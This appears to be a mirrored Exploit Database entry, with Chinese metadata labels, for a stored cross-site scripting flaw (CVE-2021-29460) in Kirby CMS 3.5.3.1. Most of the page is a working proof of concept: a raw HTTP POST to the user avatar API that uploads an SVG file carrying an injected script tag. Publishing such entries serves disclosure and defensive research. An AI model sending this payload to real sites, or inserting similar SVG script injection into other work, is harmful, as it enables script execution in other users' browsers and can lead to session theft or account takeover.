Kirby CMS 3.5.3.1 – ‘file’ Cross-Site Scripting (XSS)

• Exploit Database
• 16 阅读

• 作者： Sreenath Raghunathan
  日期： 2021-04-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49808/

• # Exploit Title: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)
  # Date: 21-04-2021
  # Exploit Author: Sreenath Raghunathan
  # Vendor Homepage: https://getkirby.com/
  # Software Link: https://github.com/getkirby/kirby
  # Version: 3.5.3.1(REQUIRED)
  # CVE : CVE-2021-29460
  
  POST /api/users/<userid>/avatar HTTP/1.1
  Host: <host>
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
  Gecko/20100101 Firefox/87.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  X-CSRF: <redacted>
  Content-Type: multipart/form-data;
  boundary=---------------------------286121627839893676321700902916
  Content-Length: 563
  
  Connection: close
  Cookie:
  <redacted>
  
  
  
  -----------------------------286121627839893676321700902916
  Content-Disposition: form-data; name="file"; filename="svgxss.svg"
  Content-Type: image/svg+xml
  
  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  
  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,500 500,0" fill="#009900"
  stroke="#004400"/>
  "><script>alert(1)</script>
  </svg>
  -----------------------------286121627839893676321700902916--